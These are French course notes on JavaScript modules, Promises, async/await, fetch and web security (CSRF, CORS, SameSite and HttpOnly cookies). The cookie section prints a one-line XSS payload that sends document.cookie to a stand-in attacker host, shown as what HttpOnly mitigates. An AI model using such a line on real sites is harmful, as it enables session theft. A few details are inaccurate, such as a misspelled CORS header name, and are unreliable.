Plan du cours
Compléments sur l’architecture, l’asynchronisme et la sécurité
Plan :
- Modules JS :
import
/export
- Utilisation de bibliothèques externes
Promise
etasync
/await
- Focus sur
fetch
- Sécurité : attaque
CSRF
et contre-mesureCORS
Modules ECMAScript (ESM)
Utilité des modules
Modules : Mécanisme pour diviser les programmes JavaScript en plusieurs morceaux qui peuvent s’importer les uns dans les autres.
Fonctionnalité présente notamment dans Node.js
depuis longtemps.
Prise en charge par les navigateurs avec le système de modules ESM (ECMAScript Module), apparu dans la norme du langage ES6 en 2015.
Un script JS déclaré comme module peut utiliser :
import
permet d’importer des fonctionnalités d’autres modules.export
désigne les variables et les fonctions qui doivent être accessibles depuis l’extérieur du module en cours.
Syntaxe de base pour export
et import
Placer export
devant n’importe quelle déclaration (variable, fonction ou classe)
// 📁 export.js
// exporte une variable, par ex. un tableau
export let months = ['Jan', 'Feb', 'Mar','Apr', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
// exporte une constante
export const MODULES_BECAME_STANDARD_YEAR = 2015;
// exporte une classe
export class User {constructor(name) {this.name = name;}}
Import par liste des noms
import {months, MODULES_BECAME_STANDARD_YEAR, User} from './export.js';
Nom de module :
- soit URL relative qui commence par
/
,./
, ou../
- soit URL absolue
Chargement de modules
<script type="module">
pour indiquer au navigateur qu’un script doit être traité
comme un module
<!-- 📁 index.html -->
<!doctype html>
<script type="module">
import {sayHi} from './say.js';
document.body.innerHTML = sayHi('John');
</script>
// 📁 say.js
export function sayHi(user) {
return `Hello, ${user}!`;
}
Le navigateur récupère et évalue automatiquement le module importé (et ses importations si nécessaire), puis exécute le script.
Autres syntaxes pour export
et import
-
Export séparé des déclarations
// say.js function sayHi(user) { alert(`Hello, ${user}!`); } function sayBye(user) { alert(`Bye, ${user}!`); } export {sayHi, sayBye}; // liste de variables exportées
- Importer tout dans un objet
import * as say from './say.js'; say.sayHi('John'); say.sayBye('John');
- Import avec un alias
import {sayHi as hi, sayBye as bye} from './say.js'; hi('John'); // Hello, John! bye('John'); // Bye, John!
Export et import par défaut
Syntaxe export default
pour les modules qui n’exportent qu’une seule chose
// 📁 user.js
export default class User { // export default
constructor(name) {
this.name = name;
}
}
// 📁 main.js
import User from './user.js'; // Pas {User}, juste User
new User('John');
Accolades pour les imports d’exports nommés vs. Pas d’accolades pour les imports d’exports par défaut.
Par convention, le nom d’une variable exportée par défaut correspond à celui de son fichier
import User from './user.js';
import LoginForm from './loginForm.js';
import func from '/path/to/func.js';
Caractéristiques de base des modules
- Toujours
use strict
:- Variante moderne mais plus restrictive de JavaScript.
- Lève des exceptions à la place de certaines erreurs silencieuses, par exemple l’affectation de variables non déclarées.
- Permet aux moteurs JavaScript d’effectuer des optimisations.
- Prévoit les prochaines versions d’ECMAScript.
-
Portée limitée au niveau du module : Les variables et fonctions globales d’un module ne sont pas visibles dans les autres scripts.
-
Le chargement des modules est différé, comme
defer
. -
À la différence des scripts classiques, les scripts des modules qui proviennent d’une autre origine nécessitent une autorisation CORS (cf. suite du cours).
En particulier, pas de module avec le protocole
file://
, sinon erreur CORS.
Un module n’est évalué que la première fois
Le code d’un module n’est évalué que la première fois lorsqu’il est importé.
// 📁 admin.js
export let admin = {
name: "John"
};
Lors du premier import
, le script admin.js
est évalué et l’objet admin
est créé.
Tous les importateurs reçoivent exactement ce seul et unique objet admin
:
// 📁 1.js
import {admin} from './admin.js';
admin.name = "Pete";
// 📁 2.js
import {admin} from './admin.js';
alert(admin.name); // Pete
// 1.js et 2.js font références au même objet admin
// Les changements fait dans 1.js sont visibles dans 2.js
Utilisé en pratique pour configurer des bibliothèques.
Utilisation de bibliothèques externes
Exemple d’installation de three.js
Exemple :
-
Installation de la bibliothèque
three.js
à l’aide du node package managernpm
npm install three
→ génère méta-informations
package.json
, installethree
dansnode_modules
- Utilisation de la bibliothèque
// js/main.js import * as THREE from 'three'; // ... code utilisant three
<!-- index.html --> <script type="module" src="main.js"></script>
- Mais ça ne marche pas !
Les paquets npm
ne marchent pas dans le navigateur ?
npm
est historiquement fait pour exécuter des bibliothèques JS dans Node
, pas dans votre site Web :
-
Pas de résolution de modules :
Les navigateurs ne comprennent pasimport 'three'
, mais seulement les URL absolues ou relatives qui commencent par/
,./
, ou../
. -
Format incompatible :
Avant les modules ECMAScript, la communauté JS avait inventé divers systèmes de modules.
CommonJS est le système de module créé pour Node.js, non pris en charge par les navigateurs.
La majorité des bibliothèquesnpm
sont au format CommonJS (require
,module.exports
). -
Pas de système de paquets natif :
npm
est un outil Node.js. Les navigateurs ne savent pas accéder au registrenpm
, ni gérer les dépendances.
Promesses
Problèmes des callback
Problèmes des fonctions de rappels (callback) pour la programmation asynchrone :
Le code est difficile à gérer en cas d’appels imbriqués et de gestion d’erreur avec des callback.
Exemple de “callback hell (ou pyramid of doom”) lors du TD6 (Pokemon). →
function addEvolutionChain(nameOrIndex) {
// requête 1 ...
xhr1.open('GET', '...');
xhr1.onload = function () {
if (xhr1.status === 200) {
// requête 2 ...
xhr2.open("GET", '...');
xhr2.onload = function () {
if (xhr2.status === 200) {
for (const speciesUrl of getSpeciesUrls('...')) {
// requête 3 ...
xhr3.open("GET", '...');
xhr3.onload = function () {
if (xhr3.status === 200) {
// ...
} else {
console.log(Error(xhr3.statusText));
}
}
xhr3.send();
}
} else {
console.log(Error(xhr2.statusText));
}
}
xhr2.send();
} else {
console.log(Error(xhr1.statusText));
}
}
xhr1.send();
}
Promesse : construction
new Promise(
function executor(resolve, reject) {
// L'exécuteur : action asynchrone qui prend du temps
}
);
-
La fonction passée à
new Promise
est appelée l’exécuteur. -
Le constructeur de
Promise
lance automatiquement l’exécuteur. -
Quand l’exécuteur a terminé, il appelle une des deux fonctions de retour :
-
s’il obtient le résultat
value
, il tient la promesse avecresolve(value)
. -
si une erreur
error
est survenue, il rompt la promesse avecreject(error)
.
-
Promesse : propriétés internes
L’objet promise
retourné par le constructeur new Promise
a des propriétés internes :
state
(état) : initialement à"pending"
(en attente), se change- soit en
"fulfilled"
(tenue) lorsqueresolve
est appelé - soit en
"rejected"
(rompue) sireject
est appelé.
- soit en
result
: initialement àundefined
, se change- en
value
quandresolve(value)
est appelé - ou en
error
quandreject(error)
est appelé.
- en
Exemple 1:
let promise = new Promise(function(resolve, reject) {
// la fonction est exécutée automatiquement quand la promesse est construite
// On signale au bout de 5 secondes que la tâche est terminée avec le résultat "done"
setTimeout(() => resolve("done"), 5000);
});
Démo : Afficher la promise
tout de suite après (pending), ou cinq secondes plus tard (fulfilled avec la valeur done).
Exemple 2:
let promise = new Promise(function(resolve, reject) {
// On signale après 5 secondes que la tâche est terminée avec une erreur
setTimeout(() => reject(new Error("Whoops!")), 5000);
});
Démo : Afficher la promise
tout de suite après (pending), ou cinq secondes plus tard (rejected avec l’erreur Whoops!).
Abonnement avec .then
On abonne une fonction consommatrice à une promesse avec .then
.
Une fonction consommatrice recevra un résultat ou une erreur quand l’exécuteur aura terminé.
promise.then(
function(result) { /* gère un résultat correct */ },
function(error) { /* gère une erreur */ }
);
Exemple 1:
let promise = new Promise(function(resolve, reject) {
setTimeout(() => resolve("done!"), 1000);
});
// resolve lance la première fonction dans .then
promise.then(
result => alert(result), // affiche "done!" après 1 seconde
error => alert(error) // ne se lance pas
);
Exemple 2:
Pour traiter seulement les promesses tenues, donnez une fonction en argument à .then
:
let promise = new Promise((resolve,reject) => {
setTimeout(() => resolve("done!"), 1000);
});
promise.then(alert); // affiche "done!" après 1 seconde
// équivalent à
// promise.then(alert, null);
Exemple 3:
Pour traiter seulement les erreurs, on utilise .catch
:
let promise = new Promise((resolve,reject) => {
setTimeout(() => reject(new Error("Whoops!")), 1000);
});
promise.catch(alert); // affiche "Whoops!" après 1 seconde
// équivalent à
// promise.then(null, alert);
Il existe aussi .finally(f)
similaire à .then(f, f)
Avantages des promesses
Avantage 1 :
Les promesses nous permettent de faire des choses dans un ordre naturel.
D’abord, nous lançons la promesse, puis nous indiquons que faire du résultat
avec .then
.
Avec les callback, nous devons d’abord dire que faire du résultat avant que d’exécuter l’action asynchrone.
Avantage 2 :
Nous pouvons appeler .then
sur une promesse autant de fois que nécessaire,
pour abonner de nouvelles fonctions consommatrices.
Avec les fonctions de retour, il ne peut y avoir qu’un seul callback.
Remarque :
Promise.then(onFullfilled, onRejected)
se rapproche un peu d’un gestionnaire d’évènements
// Le code suivant ne marche pas mais est proche dans l'esprit
promise.addEventListener("fulfilled", onFullfilled)
promise.addEventListener("rejected", onRejected)
Cependant, c’est comme si une promesse n’émettait l’un des 2 évènements fulfilled
/rejected
une seule fois.
L’enchaînement de promesses
Un appel à .then
renvoie une nouvelle promesse, sur laquelle nous pouvons appeler .then
.
let p2 = p.then(handler)
p2.then(handler2)
// Ou, plus simplement
p.then(handler).then(handler2)
En pratique, la fonction handler
renvoie souvent une promesse p3
.
Dans ce cas, la promesse p2
renvoyée par p.then(handler)
sera liée à p3
.
new Promise( (resolve, reject) => setTimeout(() => resolve(1), 1000))
.then( (result) => {
alert(result); // 1
return new Promise((resolve, reject) => setTimeout(() => resolve(result * 2), 1000))
})
.then( (result) => {
alert(result); // 2
return new Promise((resolve, reject) => setTimeout(() => resolve(result * 2), 1000))
})
.then(alert)
Renvoi de promesses
API Promise
-
Promise.all
prend un tableau de promesses et renvoie une nouvelle promesse.let promise = Promise.all(tableau_promesses);
Si l’une des promesses est rejetée, la promesse retournée est rejetée immédiatement avec cette erreur.
Sinon la nouvelle promesse est résolue lorsque toutes les promesses sont résolues. Le tableau de leurs résultats devient son résultat.
Promise.allSettled(promises)
(ajout récent) – attend que toutes les promesses se règlent et retourne leurs résultats sous forme de tableau d’objets avec :state
:"fulfilled"
ou"rejected"
value
(si rempli) oureason
(en cas de rejet).
-
Promise.race(promises)
– attend la première promesse réglée, et son résultat/erreur devient le résultat. Promise.any(promises)
(ajout récent) – attend la première promesse qui se réalise, et son résultat devient le résultat. Si toutes les promesses données sont rejetées,AggregateError
devient l’erreur dePromise.any
.
Boucle d’évènement
Lorsqu’une promesse est prête, les handler
lancés par then
sont mis dans la file d’attente des micro-tâches.
(Valable aussi pour les promesses créées par un await
)
Boucle d’événements (Rappel):
- Tant qu’il y a des macro-tâches :
- Exécution de la macro-tâche la plus ancienne jusqu’à son terme.
- Mise à jour du rendu
- Attend jusqu’à ce qu’une macro-tâche apparaisse, puis repasse à 1.
Boucle d’événements (Complétée):
- Tant qu’il y a des macro-tâches :
- Exécution de la macro-tâche la plus ancienne jusqu’à son terme.
- Tant qu’il y a des micro-tâches :
- Exécution de la micro-tâche la plus ancienne jusqu’à son terme.
- Mise à jour du rendu
- Attend jusqu’à ce qu’une macro-tâche apparaisse, puis repasse à 1.
Boucle d’évènement : exemple
Exemple : Qu’affiche le programme suivant ?
setTimeout(() => console.log("Étape 1."), 0);
let promesseImmediatementResolue = new Promise( (resolve) => resolve(""));
// Ou promesseImmediatementResolue = Promise.resolve("")
promesseImmediatementResolue.then(() => console.log("Étape 2."));
console.log("Étape 3.");
Réponse : Étape 3 → Étape 2 → Étape 1.
Pourquoi ?
- Le callback de
setTimeout
n’est pas exécuté tout de suite, il est rajouté sur la file d’attente des macrotâches. - Le gestionnaire de la promesse n’est pas exécuté tout de suite, il est rajouté sur la file d’attente des microtâches.
- On affiche
Étape 3
. Fin de la macrotâche = exécution du script. - On dépile une microtâche. Affichage de
Étape 2
. Fin de la microtâche. - On dépile une macrotâche. Affichage de
Étape 1
.
Visualisation de la file des tâches avec l’outil JavaScript Visualizer 9000
fetch
Interface de fetch
fetch(url)
fait une requête réseau à l’URL et renvoie une promesse.
La promesse se résout avec un objet response
de prototype Response
lorsque le serveur distant répond
avec des en-têtes, mais avant le téléchargement complet de la réponse :
response.status
– Code HTTP de la réponse,response.ok
–true
est le statut 200-299,response.headers
– objet avec en-têtes HTTP.
La promesse d’obtenir plus tard le corps de la réponse est disponible grâce à :
response.text()
– lit la réponse et retourne sous forme de texte,response.json()
– analyse la réponse en JSON,
Requête POST
Envoi de formulaire
let htmlForm = $("form");
let formData = new FormData(htmlForm);
formData.append("prenom", "Marc");
formData.append("nom", "Assin");
async function submit() {
let response = await fetch('/form.php', {
method: 'POST',
body: formData
});
let result = await response.text();
alert(result.message);
}
Envoi / réception de JSON
let user = {
prenom: 'Marc',
nom: 'Assin'
};
async function submit() {
let response = await fetch('/api.php', {
method: 'POST',
body: JSON.stringify(user)
headers: {
'Content-Type': 'application/json'
},
});
let result = await response.json();
alert(result.message);
}
async
/await
Utilité de async
/await
La syntaxe async
/await
sert principalement à enchaîner et
gérer des promesses de manière plus lisible et intuitive.
Elle permet d’écrire du code asynchrone qui se lit comme du code
synchrone, évitant les chaînes de .then()
.
Exemple du TD6 :
function getEvolutionChain(nameOrIndex) {
fetch(`pokemon-species-url`)
.then(response => response.json())
.then(data => fetch(data.evchain_url))
.then(response => response.json())
.then(data => data.chain)
.catch(error => console.log(error));
}
async function getEvolutionChain(nameOrIndex) {
try {
const specResp = await fetch(`pokemon-species-url`);
const specData = await specResp.json();
const evChainResp = await fetch(specData.evchain_url);
const evChainData = await evChainResp.json();
return evChainData.chain;
} catch (error) {
console.log(error);
}
}
async
await
d’une promesse résolue
Dans une fonction async
, on peut utiliser le mot-clé await
avant une promesse.
Le mot-clé await
fait en sorte d’attendre que cette promesse se réalise et renvoie son résultat.
let value = await promise;
C’est juste une syntaxe plus facile pour obtenir le résultat de la promesse
que promise.then
.
function f1() {
// code 1 ...
return promesse1;
}
function f2(var1) {
// code 2 ...
return promesse2;
}
function f3(var2) {
// code 3 ...
return promesse3;
}
async function f() {
let var1 = await f1();
let var2 = await f2(var1);
return f3(var2);
}
f()
// est équivalent à
f1().then(var1 => f2(var1)).then(var2 => f3(var2))
Remarque :
Les navigateurs modernes permettent d’utiliser await
dans
les modules hors d’une fonction async
.
await
d’une promesse rompue
Si une promesse se résout normalement, alors await promise
renvoie le
résultat.
Mais dans le cas d’un rejet, il jette l’erreur, comme s’il y avait une
instruction throw
à cette ligne.
Le code suivant
async function f() {
let promesseRompue = new Promise(
function(resolve, reject) {
reject(new Error("Whoops!"));
}); // Ou promesseRompue = Promise.reject(new Error("..."))
await promesseRompue;
}
est équivalent à
async function f() {
throw new Error("Whoops!");
}
→ On traite les promesses rompues avec des try
/catch
, comme dans un code synchrone.
Sécurité Web
Menaces sur les sites / applications Web
Menaces les plus connues :
- la compromission des ressources : modifier le site pour remplacer le contenu légitime par un contenu choisi par l’attaquant.
- le vol de données : perte de la confidentialité de certaines données (authentifiant, informations personnelles/bancaires, …).
- le déni de service : rendre indisponible le site attaqué.
Classes d’attaques courantes :
-
SQLi (injection SQL) : transmission de code malveillant parmi les données qu’attend un serveur web pour déclencher une requête de BD.
Contre-mesures : Requêtes préparées, … -
XSS (Cross-Site Scripting) : le navigateur d’un utilisateur du site va interpréter des données malicieuses (par ex. JS ou HTML) pour provoquer un comportement particulier. Vise à récupérer des secrets ou à effectuer des actions en leur nom.
Contre-mesures :textContent
,setAttribute
,encodeURIComponent
, … -
CSRF (Cross-Site Request Forgery) : force un utilisateur à exécuter, à son insu, des actions privilégiées sur un autre site sur lequel il est authentifié. Ce type d’attaques a lieu lors de la navigation sur un site piégé qui émet des requêtes vers un site de confiance, mais vulnérable au CSRF.
Exemple de Cross-Site Request Forgery (CSRF)
Scénario classique
Attaque CSRF : Une requête silencieuse est lancée, par exemple avec fetch
.
Concerne les requêtes qui changent l’état de l’application.
Politique de sécurité Same-Origin Policy (SOP)
Définition de l’origine
Same-Origin Policy (SOP)
Un document/script de origine1
veut interagir avec une autre
ressource chargée depuis origine2
:
- Si même origine : pas de restriction
- Si origine différente (Cross-Origin) : stratégie de contrôle paramétrable par le mécanisme Cross-Origin Resource Sharing (CORS).
Attention : Si l’une des origines a le protocole file://
, alors la requête est toujours considérée cross-origin.
Dans la suite, nous allons nous focaliser sur fetch
/XMLHttpRequest
et les cookies.
Fetch: Requêtes cross-origin
Il existe deux types de requêtes fetch
cross-origin :
- Les requêtes simples, qui correspondent en gros aux requêtes qu’un formulaire pourrait envoyer.
- Toutes les autres.
Une requête est simple si elle remplit deux conditions :
- Méthode simple :
GET
,POST
ouHEAD
- En-têtes simples : les seuls en-têtes de requête personnalisés autorisés sont
Accept
,Accept-Language
,Content-Language
,Content-Type
avec la valeurapplication/x-www-form-urlencoded
,multipart/form-data
outext/plain
.
Fetch: Requêtes cross-origin simples
Demande d’autorisation du navigateur au serveur :
-
Le navigateur ajoute toujours l’en-tête
Origin
à la requête. -
Si le serveur veut accepter la requête, il ajoute l’en-tête
Access-Control-Allow-Origin
à la réponse, de valeur l’origine autorisée ou*
. -
Le navigateur vérifie
Access-Control-Allow-Origin
et autorise ou non JavaScript à accéder à la réponse.
Donc on peut toujours envoyer une requête simple, mais il faut l’autorisation que JS puisse lire la réponse.
→ 💀 Risque si la requête simple change l’état de l’application.
→ 🔒 Pas de risque qu’une attaque CSRF lise la réponse (si le serveur refuse l’autorisation).
Fetch: Requêtes cross-origin non simples
N’importe quelle méthode HTTP : PATCH, PUT, DELETE, … → Utile pour accéder à une API Rest
-
le navigateur envoie une requête préalable (preflight) de méthode OPTIONS, demandant l’autorisation.
-
Le serveur peut accepter la requête ou non.
-
En fonction, le navigateur envoie la requête véritable et JS peut lire la réponse.
→ 🔒 Pas de risque qu’une attaque CSRF envoie la requête, ni qu’il ait une réponse (si le serveur refuse l’autorisation).
Recommandations de sécurité
Conséquence : Les requêtes qui changent l’état de l’application doivent être protégées.
Solution 1
Les requêtes qui changent l’état de l’application ne doivent pas être des requêtes simples.
→ Méthode PATCH
, PUT
, DELETE
, ou en-tête supplémentaire
⚠️ Navigation difficile, nécessite d’utiliser fetch
pour toutes ces requêtes, plutôt pour les API.
Solution 2
Les requêtes qui changent l’état de l’application doivent être protégées par des jetons anti-CSRF.
Exemple de fonctionnement de jeton anti-CSRF pour un formulaire :
- Le client demande la page qui affiche le formulaire.
- Le serveur inclus un
<input type="hidden">
contenant un jeton anti-CSRF aléatoire. - Le client enverra automatiquement le jeton anti-CSRF lors de la soumission du formulaire.
- Le serveur vérifie ce jeton avant d’effectuer l’action qui change l’état.
Pourquoi ça marche ?
Un attaquant CSRF ne peut pas lire les réponses d’une requête cross-origin (si le serveur est bien codé).
Sécurisation des identifiants dans les cookies
Mécanisme 1: Domaine d’un cookie
Un cookie est lié au hostname (ou un sous-domaine) du serveur qui l’a déposé → n’empêche pas une attaque CSRF
Mécanisme 2: Option Same-Site
- On regarde l’URL de la page courante du navigateur, et l’URL de la requête
fetch
(ou<img>
,<script>
…) -
La requête est same-site si les 2 URL ont le même Top-Level Domain (TLD) et le même protocole.
Exemple : Navigateur sur le site
https://blog.site.fr/
, requête sur l’URLhttps://forum.site.fr/
Same-site car ils ont le même Top-Level Domain (TLD)site.fr
et le même protocole.
⚠️ same-site ≠ same-origin - Option SameSite des cookies, valeur :
Strict
: cookie n’est envoyé que si same-siteLax
(par défaut) : cookie envoyé si same-site ou requêtes “sûres” (=requêtesGET
de navigation (qui change l’URL de la page))
Utile pour apparaître connecté quand on arrive sur un site.None
: pas de contraintes, nécessiteSecure
activé, exemple : cookies publicitaires, de suivi…
Recommandation : SameSite=Strict
, ou Lax
si le cookie n’autorise pas d’action privilégiée via la méthode GET
.
→ 🔒 Peu de risque de CSRF car pas d’identification via les cookies.
Attention : ⚠️ SameSite non supporté par les vieux navigateurs d’avant 2017 (5% des clients Web en 2025).
Sécurisation des identifiants dans les cookies
Autres options de sécurité des cookies :
-
Secure (désactivé par défaut) : Le cookie est envoyé seulement avec les requêtes HTTPS.
Si un cookie a un contenu sensible, il ne devrait pas être envoyé sur HTTP (risque d’écoute du réseau)
Les requêtes HTTP ne peuvent pas déposer de cookie Secure (risque de modification du cookie)
Comportement ignoré sur
localhost
. -
HttpOnly (désactivé par défaut) : Interdit à JavaScript d’accéder au cookie (avec
document.cookie
).Le cookie sera envoyé normalement avec toutes les requêtes, même celles de
fetch
.Permet d’atténuer les attaques XSS comme
new Image().src = `http://malicie.ux/vol-de-cookie.php?cookie=${document.cookie}`;
Envoi de cookies par fetch
Pour envoyer les cookies avec une requête fetch
cross-origin, il y a un mécanisme de sécurité en plus de SameSite
.
fetch(url, {credentials: same-origin}) // ou omit ou include
L’option credentials de fetch
contrôle si le navigateur envoie des cookies &
si le navigateur modifie les cookies (comme demandé par la réponse avec
l’en-tête Set-Cookie
).
Valeur de credentials :
- same-origin (par défaut) : Pas d’envoi ni de modifications des cookies lors de requêtes cross-origin,
- omit : ne jamais envoyer ni modifier les cookies.
- include : Restrictions lors de requêtes cross-origin (à peu près celles des requêtes CORS)
- requêtes simples : envoi systématique des cookies. Modification des cookies et lecture de la réponse si autorisation du serveur.
- requêtes non simples : Si le serveur donne l’autorisation lors du preflight, alors la requête est envoyée avec les cookies, la réponse est lisible par JS, et les cookies soient modifiés.
Remarque : L’autorisation du serveur doit contenir en plus
Accept-Control-Allow-Credentials:true
, et unAccess-Control-Allow-Origin
valide mais pas*
.
Sources
- Certaines parties sont reprises de JavaScript.info sous licence CC-BY-NC, avec l’aimable autorisation d’Ilya Kantor :
- Mozilla Developper Network, par les Contributrices et contributeurs de Mozilla est sous licence CC-BY-SA 2.5 :
- ANSSI : Guide & recommandations pour maitriser les standards de sécurité côté navigateur sous licence ouverte (Étalab - v2.0).